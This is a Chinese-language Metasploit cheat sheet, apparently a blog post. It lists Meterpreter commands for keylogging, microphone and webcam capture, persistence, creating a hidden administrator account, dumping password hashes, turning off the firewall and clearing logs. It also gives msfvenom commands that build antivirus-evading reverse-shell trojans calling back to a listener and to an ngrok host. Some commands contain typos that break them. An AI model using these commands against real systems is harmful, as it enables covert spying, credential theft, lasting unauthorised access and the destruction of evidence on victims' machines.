MSF基本使用

鏈結資料庫

linux查詢檔案 find / -name dabase.yml 鏈結資料庫 db_connect -y path/database.yml db_status 查詢資料庫鏈結狀態

background 後台 sessions -i 1 返回 sessions -l 列出所有session getwd 檢視遠端主機當前路徑 getlwd 檢視本地當前路徑 search -d c:\\ -f *.doc 查詢檔案 upload 3.jpg c:\\1.jpg 上傳檔案 cat test.txt 檢視檔案 route 檢視路由 getpid 檢視當前程序id execute -h -f calc.exe 執行檔案 shell 開啟shell kill殺死程序 sysinfo 列出系統資訊

程序遷移

ps 檢視所有正在執行的程序 getuid 獲取當前程序的使用者 migrate 程序號遷移程序 explorer.exe為桌面程序

開啟鍵盤

keyscan_start 開啟鍵盤記錄（需要有管理員許可權） keyscan_dump 顯示記錄的資訊 keyscan_stop 關閉鍵盤記錄

錄製聲音

record-mic -d 10  錄製聲音10秒

開啟攝像頭

webcam_list 檢視攝像頭連線 webcam_chat 開啟攝像頭 webcam_stop 關閉攝像頭 webcam_snap開攝像頭截圖 webcam_stream -i 1 -v true

桌面截圖

screenshot  截圖

開啟vnc

run  vnc  開啟vnc

持久化訪問

run metsvc 安裝持久化訪問 run metsvc -r 解除安裝安裝另一種方法 run persistence -x -i 5 -p 445 -r ip

建立隱藏使用者

net user hacker$ hacker /add 建立隱藏使用者 net localgroup admininistators hacker$ /add 新增使用者到管理員組用getgui建立使用者並分配管理員許可權開啟遠端桌面 run getgui -u hacker -p hacker

獲取憑證（使用者名稱和密碼）

run post/windows/gather/hashdump

判斷是否為虛擬機器

run post/windows/gather/checkvm

獲取目標主機最近的操作

run post/windows/gather/dumplinks

獲取系統安裝程式個補丁

通過shell關閉防火牆

shell netsh adcfirewall ser allprofiles srate off

開啟埠**

portfwd add -l 1235 -r 10.10.10.129 -p 3389 這樣就把遠端主機的埠對映到本機的1235埠

清除日誌

clearev 清除日誌

kali鏈結windows桌面

rdesktop  -u  admin  -p  admin  ip:port

kali命令列與視窗化切換

init 3 命令列  5桌面

msfvenom生成木馬

msfvenom  -p  windows/x64/meterpreter/reverse_tcp  lhost=10.10.10.128   lport=10001 -f exe > /root/config.exe

免殺木馬

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b 『\x00』 lhost=server.ngrok.cclport=00000 -f c

-p 指定payload，–e 編碼器，-i 編碼次數（次數越多免殺機率越高），-b 去除壞字元，lhost 伺服器（ngrok預設為server.ngrok.cc） lport 隧道的埠，-f 生成指定格式（py、exe等，建議生成c）

木馬的使用

設定tcp監聽

use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.10.10.128 ser lport 10001

run

遠端主機執行木馬

windows命令

net use 檢視網路鏈結 net user admin 123456 /add 新增使用者 net user admin 密碼 net user admin /del

MSF基本使用

Msf 基本用法

MSF使用流程

MSF基本原則概述

MSF基本使用

Msf 基本用法

MSF使用流程

MSF基本原則概述

相關推薦